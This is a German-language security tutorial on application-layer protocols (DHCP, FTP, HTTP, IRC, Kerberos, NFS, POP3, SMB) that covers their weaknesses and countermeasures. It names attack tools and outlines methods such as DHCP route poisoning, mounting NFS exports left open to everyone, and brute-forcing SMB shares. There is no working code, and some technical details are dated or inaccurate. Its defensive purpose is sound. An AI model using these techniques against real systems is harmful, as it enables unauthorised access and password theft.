Einführung
In der TCP/IP-Protokollarchitektur ist die Anwendungsschicht für die Kommunikation zwischen Anwendungen und Diensten der Transportschicht zuständig. Die Anwendungsschicht ist also nicht mit der Anwendung gleichzusetzen, sondern verbindet sie lediglich mit dem Netz. Für die unterschiedlichen Anwendungstypen existieren jeweils unterschiedliche Dienste in der Anwendungsschicht. Zusätzlich sind einige hilfreiche Management-Utilities in diesem Layer vorhanden Das Client/Server-Prinzip Die Dienste der Anwendungsschcht werden oft auch als Träger von Client-Server-Verbindungen bezeichnet. Damit wird das Prinzip nahegelegt, dass sich die Dienste der Anwendungsschcht aus zwei ergänzenden Teilen zusammensetzen. Der Ausgangspunkt einer Verbindung wird Client und der Empfänger Server genannt. ,------. Anforderung ,------.
,------. Antworten ,------.
Ein Server-Dienst der Anwendungsschcht wartet in der ersten Phase seines Daseins auf Verbindungsanforderungen von einem Client. Der Dienst eines solchen stellt eine Verbindung zum Server her oder übergibt ihm eine Anforderung. Sobald die Verbindung eröffnet ist und die eigentliche Kommunikation beginnt, senden Clients Anforderungen, auf welche der Server entsprechend reagiert. Server können Transaktionen nicht selber initiieren. Ebensowenig kann eine Server-Software mit einer anderen Server-Software und Client-Software mit einer anderen Client-Software direkt kommunizieren. Da es sich bei einem Anwendungsserver um herkömmliche netzwerkfähige Software handelt, können viele verschiedene Typen von Server- und Client-Software gleichzeitig auf einem multitaskingfähigen Betriebssystem laufen. Die Kommunikation mit Diensten von anderen Servern erscheint als Dialog zwischen gleichgestellten, also peer-to-peer, obwohl die Grundlage jeder TCP/IP-Kommunikation auf der Client/Server-Architektur beruht. In der UNIX-Welt wird die Server-Software normalerweise als "daemon" bezeichnet. Der Telnet-Server wird für gewöhnlich telnetd (ausgesprochen "telnet-die") genannt, eine Kurzform für "Telnet-Daemon". Der FTP-Server heisst ftpd und so weiter. BOOTP (Bootstrap Protocol) Das Bootstrap-Protokoll wird in den RFCs 951 (Bootstrap Protocol) und 1532 (Clarifications and Extensions for the Bootstrap Protocol) definiert. Die entsprechenden RFCs beschreiben BOOTP als Alternative zu RARP, denn wird das fortschrittlichere BOOTP verwendet, so ist RARP automatisch überflüssig. BOOTP ist umfangreicher und bietet einige Funktionen mehr als RARP. Die ursprüngliche Spezifikation erlaubte sogar Herstellererweiterungen als Mittel der Protokollevolution. RFC 1048 (BOOTP Vendor Information Extensions) brachte diese Zusatzfeatures auf einen Nenner, welche stets aktualisiert wurden und momentan als letztes in RFC 2132 (DHCP Options and BOOTP Vendor Extensions) in ihrer aktuellsten Form dokumentiert sind. BOOTP und seine Erweiterungen wurden zur Grundlage des Dynamic Host Configuration Protocol (DHCP). Der BOOTP-Client verschickt in einer ersten Phase per Broadcast über die Adresse 255.255.255.255 ein einzelnes sogenanntes BOOTREQUEST-Paket, das mindestens seine physikalische Netzwerkadresse enthält. Diese spezielle Adresse wird als eingeschränkte Broadcast-Adresse (limited broadcast adress) bezeichnet. Diese Adresse ist insofern von Nutzen, weil sie im Gegensatz zur normalen Broadcast-Adresse vom System nicht das Wissen um die Adresse des aktuellen Netzwerks voraussetzt. Wird die Antwort nicht innerhalb eines vordefinierten Zeitfensters empfangen, sendet der Client den Request erneut. BOOTP verwendet dabei UDP als Transportprotokoll und benötigt im gegensatz zu RARP keine speziellen Protokolle der Netzzugangsschicht. Der Server Antwortet im Gutfall dem Client mit einem BOOTREPLY-Paket. BOOTP werden zwei bekannte Port-Nummern zugesprochen: UDP-Port 67 wird für den Server, UDP-Port 68 für den Client verwendet. Dies ist ziemlich ungewöhnlich, da die meisten bekannten Client/Server-Anwendungen mit einem definierten Port für den Server und einem zufällig gewählten indefiniten Port für den Client begnügen. Diese Eigenheit kann sich BOOTP erlauben, da es nur in der Boot-Phase genutzt wird: Sockets verlieren somit bei diesem Einzelbetrieb den Sinn. Normalerweise stellt die zufällige clientseitige Wahl der Portnummern sicher, dass jedes Paar von Quell-/Zielports einen eindeutigen Pfad für den Austausch der Informationen ergibt. Der Client-Rechner kennt jedoch seine IP-Adresse vielleicht noch nicht. Selbst wenn er einen Quellport für das BOOTREQUEST-Paket generiert, würde eine Antwort des Servers an diesen Port/IP-Adresse-Kombination (Socket) nicht vom Client erkannt werden. Daher schickt BOOTP die Antwort an einen bestimmten Port auf allen Hosts. Ein an UDP-Port 68 adressierter Broadcast wird von allen Hosts gelesen, selbst von einem System, das seine eigene Adresse nicht kennt. Das System bestimmt, ob es als Empfänger des Pakets vorgesehen ist, indem es die in der Antwort enthaltenen Netzwerk-Adresse überprüft. Der Server füllt alle Felder des Pakets aus, für die er Daten besitzt. BOOTP kann alle wesentlichen TCP/IP-Konfigurationswerte bereitstellen. DHCP (Dynamic Host Configuration Protocol) DHCP ist ein TCP/IP-Protokoll, dank jenem ein mit einem DHCP-Server - auf Linux-Systemen wird der DHCP-Daemon (/usr/sbin/dhcpd) verwendet - verbundener Client-Rechner in einem Netzwerk die grundlegenden Netzwerkinformationen wie IP-Adresse, Hostname, Gateway, usw. automatisch abgreifen kann. DHCP kommt vorzugsweise bei grossen Netzwerken zum Tragen, bei jenen weniger mit IP-Adressen gearbeitet werden muss, da durch den DHCP-Dienst viel administrativer Aufwand verhindert werden kann. Unter anderem setzen auch viele ISPs (Internet Service Provider) auf DHCP: Bei jedem Einwählen eines Kunden erhält er eine dynamische IP-Adresse. ISPs müssen oft relativ sparsam mit ihren IP-Adressen umgehen, da ihnen nur ein gewisses Range - zum Beispiel 196.0.0.1 bis 196.0.5.255 - zur Vefügung steht. Wählt sich ein neuer Benutzer ein, so erhält er normalerweise die tiefste zur Verfügung stehende IP-Adresse. In kleineren Netzwerken und bei auf IP-Adressen aufbauenden Authentizierungen empfehle ich stets das Nutzen von statischen IP-Adressen. Die Einstellungen sind deutlich einfacher vorzunehmen und die Kommunikations-Partner müssen nicht zuerst mühsam über Umwege ihre aktuelle IP-Adresse publizieren. Eine ausgezeichnete Informationsquelle zu DHCP ist die DHCP-FAQ von John Wobus. Es sind zudem neue und erweiterte Spezifikationen für DHCP im Gespräch. Einen Einstieg in die Diskussion findet sich in RFC 1531 (Dynamic Host Configuration Protocol). Der DHCP-Client und der DHCP-Daemon sollte nach Möglichkeiten auf allen Systemen deaktiviert werden, die keinen Nutzen daraus ziehen können oder wollen. Der Grund besteht darin, dass die ersten Freigaben der DHCP-Server in den Versionen 1.0 und 2.0 für Linux (/usr/sbin/dhcpd) anfällig auf Denial-of-Service-Attacken sind. Am besten sollte auf ein Update zurückgegriffen werden, sofern dieser Dienst wirklich benötigt wird. Ich stelle nun die theoretische Behauptung auf, dass auch Routing-Attacken mit Hilfe von DHCP gefahren werden können. Stellen Sie sich vor, ein Angreifer schafft es in ihrem Netzwerk den Client-Rechnern falsche Routing-Informationen mit dem DHCP-Protokoll aufzuschwatzen: Zum Beispiel der zwangsweise Zugriff auf gefälschte DNS-Einträge oder korrupte Gateway-Spezifikationen. Durch dieses Manöver könnte der Angreifer alle Pakete über einen von ihm komplett kompromittierten Rechner laufen lassen, der die interessantesten Pakete anhand eines Packet-Sniffers ausliest und protokolliert. Dadurch käme er relativ schnell in den Besitz geheimer Informationen wie Passwörter oder vertrauliche Daten. Misstrauen Sie daher stets auf sicherheitsrelevanten Stationen den DHCP-Einstellungen und führen Sie Kontrollen jener und des daraus resultierenden Routings durch. Dies können Sie zum Beispiel mit dem Nutzen von Traceroute - /usr/sbin/traceroute bei Unix und seinen Derivaten oder c:\windows\tracert.exe bei Windows-Systemen - machen. Bei der Linux-Distribution von Debian wurde in den Versionen 2.1 und 2.2 eine erfolgreiche Remote-Attacke erzielt, die Root-Zugriff zur Folge hatte. Das OpenBSD-Team berichtete in ihrem Artikel (Debian Security Advisory, 27. Juni 2000), dass ein kompromittierter DHCP-Server exekutive Kommandos an den Client schicken kann, der sie dann ohne zu zögern mit Root-Rechten ausführt. Deaktivieren Sie grundsätzlich den Dienst server- und clientseitig und verwenden Sie statische Einstellungen falls dies Ihre Umgebung zulässt. In kleineren Netzwerken empfehle ich stets das Nutzen von festen IP-Adressen, da die Authentizierung anhand der IP-Adressen einfacher zu regulieren ist und die Kommunikations-Partner nicht zuerst mühsam über Umwege ihre aktuelle IP-Adresse publizieren müssen. FTP (File Transfer Protocol) Beim Verbindungsaufbau nutzt der Client zwei Portnummern oberhalb 1024 (z.B. 4210 und 4211). Über den ersten TCP-Port baut er die Verbindung für die Kommandos auf. Der Server empfängt die Kommandos über den definierten Port 21. Bei der aktiven Methode wird mit dem Kommando "PORT 4211" teilt der Client dem Server mit, über welche Portnummern der Client den Datenaustausch abwickeln will. Der Server sendet ab dann die Daten von seinem definierten Port 20 auf die Portnummer 4211 des Clients. Für jede zu übertragende Datei wird eine neue Datenverbindung benötigt, die wegen TCP (Transmission Control Protocol) Bestimmungen eine andere Portnummer haben muss. Die Ports beim Datentransfer sind nicht vorhersehbar, was die Implementation von FTP (File Transfer Protocol) über Firewall-Systeme kompliziert. Sollte ein Paket-Filter zum Einsatz kommen, so empfiehlt sich das Nutzen des passiven FTP, bei dem der Client den Verbindungsaufbau durchführt. Auch FTP nutzt NVT (Network Virtual Terminal) mit Klartext Login- und Passwortübermittlung. Manipulierte Routing-Informationen und gut eingerichtete Sniffer vermögen die Login-Prozeduren unerlaubt und im Geheimen aufzuzeichnen. Aus diesem Grund empfiehlt sich das Wählen von differenten Passwörtern, damit ein Angreifer nicht auch noch andere Dienste (z.B. SSH, Telnet, POP3, SMB-Freigaben, ...) missbrauchen kann, sobald er Besitz von einem Passwort einer FTP-Sitzung erlangt hat. Viele FTP-Clients erlauben auch das bequeme Abspeichern von immerwiederkehrenden Login-Daten. Diese Informationen werden bei einigen Clients im Klartext ohne Verschlüsselung abgespeichert. Würde ein Angreifer Zugriff auf das komplette System bekommen (z.B. mit Remote-Control-Software), könnte er unter Umständen die Passwörter aus der Client-Software auslesen. Dazu wäre nicht mal besonders viel technisches Wissen erforderlich. Vermeiden Sie deshalb grundsätzlich das Speichern von sicherheitsrelevanten Informationen auf der lokalen Festplatte, falls Sie sich nicht um die Stärke der zum Einsatz kommenden Sicherheit und Verschlüsselung bewusst sind. Grössere Sicherheitsprobleme haben jedoch eher die Anbieter eines FTP-Service. Der FTP-Server muss stets als Root-Prozess laufen, da er standartmässig einen priveligierten Port zu nutzen pflegt (TCP-Ports 20 und 21). Oft finden sich arge Software- bzw. Programmierfehler in den FTP-Dämonen, die eingeloggten Benutzern das Ausführen von Kommandos mit Server- oder gar Root-Rechten erlauben. Versuchen Sie wenn möglich auf das Anbieten des FTP-Dienstes zu verzichten und deaktivieren Sie den Daemon-Prozess (bei Linux in /etc/inetd.conf). Falls Sie trotzdem diesen zugegebenermassen komfortablen Service anbieten wollen, so verwenden Sie grundsätzlich die aktuellste Server-Software, achten Sie auf das Erscheinen neuer Sicherheitslücken bei ihrer Software und reagieren sie gegebenenfalls. Ein weiteres Problem in Punkto Sicherheit kommt auf die Systemadministratoren zu, die unter anderem auch für die Konfiguration der Firewall-Elemente zuständig sind. Da die meistesten Geräte den Usern generell FTP zugänglich machen, ist der FTP-Port zusammen mit TCP-Port 80 (HTTP) sehr beliebt um unerwünschte oder unerlaubte Informationen und Daten (z.B. Scans, Kommandos für Remote-Control-Software, ...) um die Firewall-Systeme herum zu dirigieren. Aus diesem Grund sollte für die Dienste FTP und HTTP ein Proxy verwendet und eine spezifische Schliessung dieser sonst relevanten Ports bei den Firewall-Elementen vorgenommen werden. HTTP (Hypertext Transfer Protocol) HTTP stellt das im World Wide Web eingesetzte Protokoll zum Anfordern von Daten, vor allem HTML-Dokumenten, dar. Ein Verbindungsaufbau mit HTTP findet mit dem üblichen dreiwege Handschlag auf den TCP-Port 80 statt. Die Nachrichten werden in beiden Richtungen ausgetauscht, wobei man sich dies als Dialog vorstellen muss. Dieser Dialog findet zwischen einem Webserver und dem Webbrowser statt. Auf Unix-Systemen wird /usr/sbin/httpd für das Starten des Webservers ausgeführt. Bei Unix-Derivaten kann der Webserver bei /etc/inetd.conf auskommentiert werden, um einen automatischen Aufstart zu verhindern. Explizit bei der Distribution von SuSE muss unter Umständen eine Manipulation von /etc/rc.config getätigt werden, um das Aufstarten des Webservers beim Booten zu steuern. Bei HTTP werden die Daten vorzugsweise im Klartext übermittelt, was natürlich die allgemeinhin bekannten Sicherheitsrisiken mit sich zieht. Ein Angreifer könnte mit korrupten Routing-Informationen und einem gut platzierten Sniffer Ausschau nach relevanten und vertraulichen Informationen halten, um andere Dienste auf Kosten seines Opfers zu missbrauchen. Als einzige Alternative gestaltet sich die sicherere Form von HTTP mit der Abkürzung SHTTP (Secure Hypertext Transfer Protocol). Bei SHTTP werden die Daten vor dem Versand verschlüsselt, um eine passive Attacke zu erschweren. Grundsätzlich sollte ein Proxy-Server für das Weiterreichen von HTTP-Anfragen genutzt werden. Dadurch kann die Filterung für das IP-Masquerading am Firewall-Element verschärft werden. Im gleichen Atemzug könnten Angreifer nicht mehr ungehemmt korrupte Aktionen, Daten und Informationen über die sonst zur Verfügung stehenden Ports weiterleiten lassen. IRC (Internet Relay Chat) IRC ist ein Service, über den Internetbenutzer live an Onlinekonversationen mit anderen Benutzern teilhaben können. Ein IRC-Kanal, der von einem IRC-Server zur Verfügung gestellt wird, überträgt reinen ASCII-Text, der von den Benutzer eingegeben wird, und überträgt sie in Real-Time an die Client-Software der anderen Benutzer im gleichen Channel. In der Regel wird sich in einem Kanal einem bestimmtem Thema (Topic) gewidmet, das sich am Namen (z.B. #hack, #games, #dates, ...) erkennen lässt. Der IRC-Client zeigt automatisch die Namen der aktuell aktiven Kanäle an und ermöglicht es dem Benutzer, eine Verbindung zu einem solchen herzustellen. Anschliessend werden die Texte der anderen Benutzer über einzelne Leitungen angezeigt, so das der Benutzer an der Kommunikation teilhaben kann. IRC wurde 1988 von Jarkko Oikarinen aus Finnland erfunden, und zählt zusammen mit ICQ von Mirabilis zum meist genutzten Chat-Dienst der Internets. Zusätzliche Informationen zu IRC finden sich in der kurzen Online-Dokumentation von MagicMartin und auf http://irc.pages.de. Um die von IRC genutzte Befehlsstruktur sollte man sich das Text-Dokument von Beowulf anschauen, welches das Nutzen von IRC mittels Telnet verdeutlicht. Der beliebteste IRC-Client für Linux ist ohne Zweifel BitchX (/usr/bin/BitchX), da er komfortabel auf der Kommandozeile mit einer farbigen Darstellung alle Funktionen leicht zugänglich macht. Sein wohl noch erfolgreicheres Gegenstück aus der Windows-Welt ist mIRC, der mit einer ausgeklügelter Funktionalität ohne grosse Tastenkombinations-Hürden auftrumpft. Grundsätzlich gelten für den IRC die gleichen Gefahren wie bei ICQ: Zum Einen öffnet ein Benutzer des Chats den hunderten von anderen Anwendern, die in diesem Augenblick potentielle Gegner sind, die Türen zum heimischen Rechner. Es gibt duzende von Tools, mit jenen man Chat-Sessions und -Kanäle sabotieren kann; so zum Beispiel mit ircdexp.c, welches einem erweiterte Rechte in einem Kanal beiircd 6 besorgen kann. Dies birgt weniger die Gefahr eines Eindringens, als eher einer lästigen Denial of Service-Attacke. Da dank dem IRC jedoch auch Daten binärer Natur durch die Datenleitungen des Internets gejagt werden können, schleicht sich die selbe Viren-Gefahr wie beim Mail-Verkehr durch das Netz der Netze. Zusätzlich weisen einige IRC-Clients Sicherheitslücken auf, die für Benutzer eine Bedrohung darstellen können: Der neueste Bug trifft, wie wunderschön bei PacketStorm im Artikel bitchx-dns-oddities.txt von Michael Zalewski berichtet wurde, alle BitchX-Nutzer bis zur Version 74p4 wegen einer falschen Handhabung der in RFC 1035 (Domain Names - Implementation and Specification) bei Absatz 2.3.4 spezifizierten Länge von Domain Namen im ircd bis 2.9.5 mit einer DoS-Attacke. Will man den IRC-Service nutzen, so sollte man mit einem sicheren Client und gesundem Menschenverstand bewaffnet die einzelnen Channels aufsuchen. Zusätzlich stellt das Betreiben eines IRC-Servers eine additionelle Gefahr dar, denn die Vergangenheit vermochte zu beweisen, dass mit Programmen wie ircd_kill.c und doomzday4.c auch IRC-Daemonen korrumptiert werden können: DoS-Attacken in Form von Splits (siehe deutschsprachiger Artikel von Snowman) werden gerne genutzt um den Dienst unzugänglich, oder sich selber zum Channel-Operator zu machen. Verzichten Sie auf das Anbieten dieses Service. Im Intranet mag dieser Dienst interessant erscheinen, doch gibt es bessere Lösungen wie ICQ fürs LAN oder Talk unter Unix. Ausserdem gibt es genug externe IRC-Server, die für eine Kommunikation genutzt werden können. Zusätzliche War-Software zu IRC findet sich im IRC-Software-Archiv. Kerberos Kerberos nutzt den TCP-Port 88 und ist ein Network Authentication Protocol, das vom MIT (Massachusetts Institute of Technology) entwickelt wurde und zur freien Verfügung bereit steht.. Kerberos bestätigt die Identität des Benutzers, der sich bei einem Netzwerk anmeldet, mittels eines Drittservers, und verschlüsselt die Kommunikation durch eine Secret-Key-Kryptographie. Kerberos ist bereits in vielen Produkten integriert, darunter auch in Windows 2000. Mehr Informationen zu Kerberos Version 5 und seine Spezifikationen finden Sie in RFC 1510 (The Kerberos Network Authentication Service (V5)). Kerberos selbst weist keine erwähnenswerten Mängel in der Sicherheit auf, was den gewissenhaften Administrator nicht gegen das Nutzen dieses Protokolls auflehnen lassen sollte. Eine Gefahr besteht in schlecht vorgenommenen Implementationen des Protokolls, die unter Umständen Bufferoverflows und Denial of Service-Attacken ermöglichen. Weiterhin sind die Session-Keys auf dem Kerberos-Server 4 unter gewissen Umständen schlecht gewählt. Ein Angreifer könnte zudem die starke Authentifizierung in einer Windows 2000-Domäne mittels SYN-Flooding auf den von Kerberos genutzten TCP-Port am Domänen-Controller unterlaufen, da alle Clients auf die wackelige NT-Beglaubigungsroutine herabgesetzt werden. Das erfolgreiche Schnüffeln ist dann nur noch ein Kinderspiel und eine Frage der Zeit. NFS (Network File System) Das Network File System, das immernoch unter diesem Namen bekannt ist, obwohl Sun Microsystems als ursprüngliche Hersteller-Firma die Bezeichnung ONC (Open Network Computing) gewählt hat, wurde für die hochleistungs UNIX-Workstations aus dem eigenen Hause entwickelt und später von den drei RFCs 1014 (XDR: External Data Representation Standard), 1057 (RPC: Remote Procedure Call Protocol Specification Version 2) und 1094 (NFS: Network File System Protocol Specification) spezifiziert. Als Sun den herannahenden Stellenwert der IBM-PCs erkannte, wurde auch NFS-Software für PCs entwickelt, der sogenannte PC-NFS Client. Mit ihm können PCs UNIX-Workstations als entfernte Datei- und Druckerserver verwenden. NFS ist mitlerweile für die meisten Plattformen verfügbar. NFS fasst Dienste zusammen, die den Benutzern von herstellerspezifischen LANs zur gemeinsam en Nutzung von Ressourcen, wie zum Beispiel NetWare, LAN Manager oder Banyan VINES, vertraut sind. Dateien, Verzeichnisse und Peripheriegeräte werden in einem entfernten NFS-Server virtuell abgebildet. Ausser den Einbussen in der Performance unterscheiden sich solch gemappte Ressource nicht von anderen und kann in der altgewohnten Weise verwendet werden. In einem UNIX-System erscheint jedes entfernte Verzeichnis als zusätzliches Verzeichnis innerhalb der lokalen Hauptverzeichnishierarchie. Bei PCs mit PC-NFS erscheinen entfernte Verzeichnisse als zusätzliche Laufwerke. Dies garantiert eine einfache Einarbeitung und Handhabung von Seiten des Benutzers. Zusätzliche aufwändige Instruierungen und Schulungen fallen erfreulicherweise Weg. NFS bietet aber im Grunde mehr, als nur Ressourcen für eine gemeinsame Nutzung bereitzustellen. Es schafft die Voraussetzung für echte verteilte Datenverarbeitung, bei der mehrere vernetzte Rechner nicht nur die Daten, sondern auch die Prozessorleistung gemeinsam verwenden können. Einer der Vorteile von NFS ist der modulare Aufbau. Als Transportmechanismus wird UDP bzw. seit Version 3 TCP benutzt, auf welchem die für NFS entwickelten Module RCP (Remote Procedure Call) und XDR (Exchange Data Representative) aufsetzen. Ein Dienst wie NFS durch die Hilfe von reinem UDP zu realisieren schafft eventuell weitreichende Probleme. UDP bei NFS ist der primäre Grund, warum bei der Übermittlung von Daten entfernter Hosts der Datendurchsatz bei den ersten beiden Protokoll-Generationen merklich leidet. Es gibt daher Implementierungen von vergleichbaren Lösungen, die ein ähnliches Konzept wie das von NFS mit TCP durchsetzen; auch NFS in der Version 3 ist dank TCP unter Umständen die bessere Wahl. Eine alternative Lösung dieses Performance-Problems bestünde im Einsatz mehrerer lokaler Server. NFS-Verwaltung Das Administrative und die Verwaltung im Zusammenhang mit NFS können vor den Benutzern verborgen werden. Diese Aufgaben betreffen die Datensicherheit und die Abbildung der Benutzerkennungen und Zugriffsrechte zwischen den einzelnen Systemen. NFS arbeitet mit NIS (Network Information Services) zusammen. NIS ist ein verteiltes Datenbanksystem für die NFS-Sicherheitsdienste und ermöglicht das zentrale Management verteilter Systeme. Trotzdem erfordert die Verwaltung grosser NFS-Cluster eine sorgfältige Organisation und korrekte Dokumentation, wie dies auch bei vergleichbaren Lösung der Fall ist. Die Sicherheitsvorkehrungen sollten nicht zu locker gehandhabt werden, dass die Integrität der Daten gefährdet wäre. Andererseits sollen die Sicherheitsrichtlinien auch nicht mit solch eiserner Faust durchgesetzt werden, dass die Arbeit in ihrem eigentlichen Sinne gehemmt werden würde. Sicherheit ist bei PC-Zugriffen in vernetzten Umgebungen immer und erst recht ein Problem. Solange die Hardware von Computer-Systemen nicht standartisiert ist, können die meisten Sicherheitsvorkehrungen von erfahrenen und hartnäckigen Angreifern umgangen werden. Die NFS-Anordnung überprüft die Zugriffsberechtigungen von PCs mit dem Programm PC-NFS Daemon, das von einem Server ausgeführt wird und den Zugriff der Benutzer auf die Dateisysteme überwacht. Damit ist der erste Stein einer Grundlage zur Realisierung der Sicherheit gelegt. Einige Arbeitsumgebungen benötigen jedoch zusätzliche Sicherheitsmassnahmen. So löst zum Beispiel "Secure NFS" die Probleme der unerlaubten Einsicht und Manipulation Dritter durch das DES-Verfahren (Data Encryption Standart). Wenn NFS vor allem zur gemeinsamen Nutzung von Ressourcen eingesetzt wird, können mangelhafte Konfigurationsmöglichkeiten der Workstations das Datenaufkommen im Netz drastisch erhöhen. Durcker-Spooldateien, temporäre Backups und das Format des "path"-Statements können die Auslastung des Netzwerks in die Höhe schnellen lassen. Um NFS vollkommen vor dem Endbenutzer zu verbergen, sollte an jeder Workstation ein Skript erstellt werden, das die NFS-Befehle zum Mounten der entfernten Ressourcen enthält. Bei Bedarf wird die Stapelverarbeitungsdatei ausgeführt, so dass beim Weg zum effektiven Datenaustausch keine Zusätzliche Arbeit für den User anfällt. NFS-Angriffe NFS hat, wie jedes exportierbare Dateisystem, ein sehr hohes Missbrauchspotential. Neben den vielen Bufferoverflows auf mountd, den NFS-Server für UNIX, kann das auf RPC-Aufbauende Konzept bei falscher Konfiguration leicht durch Angreifer rein zum Zweck des Missbrauchs gemounted werden. Viele Sicherheitsfunktionen beziehen sich auf ein Datenobjekt mit dem Namen "File-Handle". Der File-Handle ist ein Token, das der Identifizierung einer jeden Datei und eines jeden Verzeichnisses am Remote-Server dient. Wenn der Angreifer ein File-Handle erkennen oder erraten kann, kann er den Zugriff auf diese Ressource am Remote-Server erzwingen. Eine fehlerhafte Konfiguration des NFS-Dienstes ist schon für so manchen Administrator zum Verhängnis geworden. Wird das Dateisystem aus Faulheit oder Unwissenheit für everyone exportiert, so kann jeder Remote-Benutzer die Ressource ohne Authentisierung mounten. Der Angreifer braucht die Sicherheitshürden des zu komprimittierenden Systems gar nicht mehr zu überwinden, sondern mounted gelassen das Dateisystem und bringt die Daten seines Begehrens so in seinen Besitz. Typischerweise werden die Home-Verzeichnisse der Benutzer für den globalen Zugriff freigegeben. Noch schlimmer wird es, wenn die komplette Partition einer solchen Exportierung unterzogen wird. Um ein Zielsystem daraufhin zu untersuchen, ob NFS ausgeführt wird und welche Dateisysteme dem Export nachgehen, kann man sich des Programms rpcinfo bedienen. Im Gutfall verrät Ihnen das Kommando showmount die exportierten Ressourcen auf dem Zielsystem. Über den altbekannten Mount-Befehl kann man sich nun in das Dateisystem remote einklinken. Nützlicher und flexibler ist jedoch das Toolkit nfsshell von Leendert van Doorn: Das nfsshell-Paket enthält einen robusten Client mit dem Namen nfs, welcher ähnlich wie ein FTP-Client funktioniert. NFS hat sehr viele nützliche Funktionen, die einem das Browsen im non-lokalen Dateisystem erleichtert. NFS-Angriffe: Gegenmassnahmen Wenn Sie NFS nicht benötigen, so deaktivieren sie es und alle damit verbundenen Dienste wie mountd, statd und lockd. Führen Sie zudem Zugriffssteuerungsmechanismen für den Client- und Benutzerzugriff ein, um nur authorisierten Benutzern freie Hand zu gewähren. Im Allgemeinen werden in den Dateien /etc/exports, /etc/dfc/dfstab oder ähnlichen der Zugriff auf exportierte Dateisysteme gesteuert. Dortige zusätzliche Optionen erlauben das Einschränken anhand Benutzer- oder Maschinennamen und das Deaktivieren von SUID-Bit auf exportierbaren Dateisystemen. Tragen Sie niemals die eigene Maschine in die Dateien ein, wo die authorisierten Systeme für das Mounten von lokalen NFS-Ressourcen vermerkt werden. Dadurch verleihen Sie unerweigerlich lokalen Benutzern erweiterte Rechte. Ältere Versionen von portmapper erlauben einem Angreifer das Aufbauen von Verbindungen über Proxy-Server. Wenn das System das exportierte Dateisystem aktivieren konnte, hatte der Angreifer die Möglichkeit NFS-Pakete an den portmapper des Zielsystems zu senden, der wiederum eine Anforderung an localhost weiterleitet. Die Anforderung würde dann so aussehen, als stamme sie von einem vertrauten Host und könnte alle Zugriffsteuerzbgsregeln umgehen. Installieren Sie beim Auftreten solcher Probleme Patches oder Updates. POP3 (Post Office Protocol 3) Dieses Protokoll ist im Internet für das Empfangen, Speichern und Übertragen von E-Mails zuständig. Dieses Protokoll wird auch bei Mail-Clients auf Computern eingesetzt, die eine Verbindung zu ihrem Mail-Server aufbauen, um die elektronische Post zu laden oder herunterladen. Die Spezifikationen werden in RFC 1725 (Post Office Protocol - Version 3) und RFC 2449 (POP3 Extension Mechanism) publiziert. Das Protokoll selber gilt als sehr sicher für seine Zwecke, da unter anderem eine vertrauenswürdige Beglaubigung des Benutzers stattfindet, und viele POP3-Server in ihren Konfigurationen Einstellungen zulassen, die mögliche Brute-Force-Attacken abzuwehren vermögen. Der Vorgang der Authentizierung des Benutzers am Server wird offiziell in RFC 1734 (POP3 AUTHentication command) geregelt. Wie bei einigen FTP-Clients weist manch cleintseitige Software, die eine Implementation von POP3 aufweist, eine schlechte Handhabung des persönlichen Passworts auf. Mit anderen Worten wird desöfteren das Login-Passwort im Klartext irgendwo auf der Festplatte gespeichert. Betroffen davon sind sehr viele Windows-Clients; verschont bleibt die Software von UNIX-Systemen jedoch keinesfalls: Das oft eingesetzte Programm "Fetchmail" (/usr/bin/fetchmail) speichert das Passwort für den POP3-Account in der Datei ~/.fetchmailrc, welche zum Glück mit den sicheren Rechten 100600 ausgestattet ist. Hat ein Angreifer erst einmal Zugriff auf die lokale Festplatte seines Opfers und das Wissen um den Standort der vermeindlichen Passwörter, so ist es in jenem Augenblick auch um den POP3-Account des betroffenen geschehen. Die grösste Gefahr besteht für die Server-Betreiber, die diesen Dienst ihren Benutzern zukommen lassen wollen. Ab und zu tauchen Exploits für POP3-Software auf, die DoS-, Race-Condition- oder Bufferoverflow-Attacken auf betroffenen Systemen ausnutzen können, um den Betrieb (im negativen Sinne) zu stören. Aus diesem Grund sollte versucht werden den POP3-Server zu deaktivieren (bei Unix unter /etc/inetd.config die besagte Zeile einfach auskommentieren), sofern auf den Dienst eines Drittanbieters ausgewichen werden kann. Als markante Nachteile dieser externen Lösung gestalten sich löchrigere Firewall-Regeln und das Mögliche Abfangen der Nachrichten zwischen Server und Client. SMB NetBEUI bezeichnet von IBM 1985 entwickeltes Netzwerkprotokoll. Es ist zu allen derzeit aktuellen Microsoft Windows-Versionen (angefangen von Windows 3.X bis Windows 2000) kompatibel. Im Unterschied zu TCP/IP kann es nicht über Router weitergeleitet werden. Es eignet sich daher nur zum Aufbau kleiner Netze. Um ein LAN an das Internet anzubinden, ist auf jeden Fall TCP/IP notwendig. Doch nicht nur Windows-Systeme nutzen diesen Service: Unter anderem ist er auch von OS/2 und UNIX-Derivaten her ansteuerbar. Um mit einem UNIX-Rechner auf diese Weise einen Host ansteuern zu können, muss auf die Samba-Suite zurückgegriffen werden, welche folgende Elemente enthält:
Da NetBEUI nicht von Routern weitergeleitet werden kann, bietet das Protokoll einen angenehmen Nebeneffekt beim Einsatz im lokalen Netzwerk. So können interne damit zur Verfügung gestellte Informationen, Daten und Shares nicht mit externem Zugriff angesteuert werden. Trotzdem machen viele User den Fehler, Rechner, die direkt mit dem Internet verbunden sind, komplett oder zu breitflächig mit Sharing-Eigenschaften zu versehen. Die Gefahr besteht darin, dass sich jeder Benutzer für freigegebene Ressourcen ohne Passwortschutz einloggen kann und darf. Nicht selten werden so private Dokumente oder geheime Informationen freigegeben (z.B. der komplette ICQ-Ordner, welcher einmal kopiert das Nutzen unter anderem Namen erlauben kann!). Das schlimmste sind jedoch komplette Schreibrechte für die ganze Festplatte für jederman. Angreifer können Produkte wie msmbs.sh, smbls98.tgz, SmbScanner v1.0, SharesFinder und eventuell noch crazy.c und STC 3.0 nutzen um nach Freigaben mit lax gesetzten Rechten zu suchen und zur Nutzung zugänglich zu machen. Geben Sie deshalb so wenig wie möglich frei, und schützen Sie es im besten Falle mit einem undurchschaubaren Passwort. Ich muss Sie nun vor den Kopf stossen, denn bei so mancher Windows-Version kann das Passwort auf schnellste Weise mittels ausgeklügelter Brute-Force-Attacke identifiziert werden: Durch das Windows-Tool PQwak werden die serverseitigen Antwort-Sequenzen durchschaut, so dass innerhalb weniger Minuten das richtige Passwort herausgefunden werden kann. Von dieser Fehlimplementierung betroffen sind Windows 95, Windows 98 und Windows NT 4.0. Eine weitere nicht zu unterschätzende Gefahr besteht im Ausspionieren der Passwort-Sequenzen, welche durch Programme wie readsmb.c und readsmb2.c aus l0phtcrack 2.0 ermöglicht werden. Eine Niederschrift zu dieser Attacke wurde von L0pht bei Bugtraq 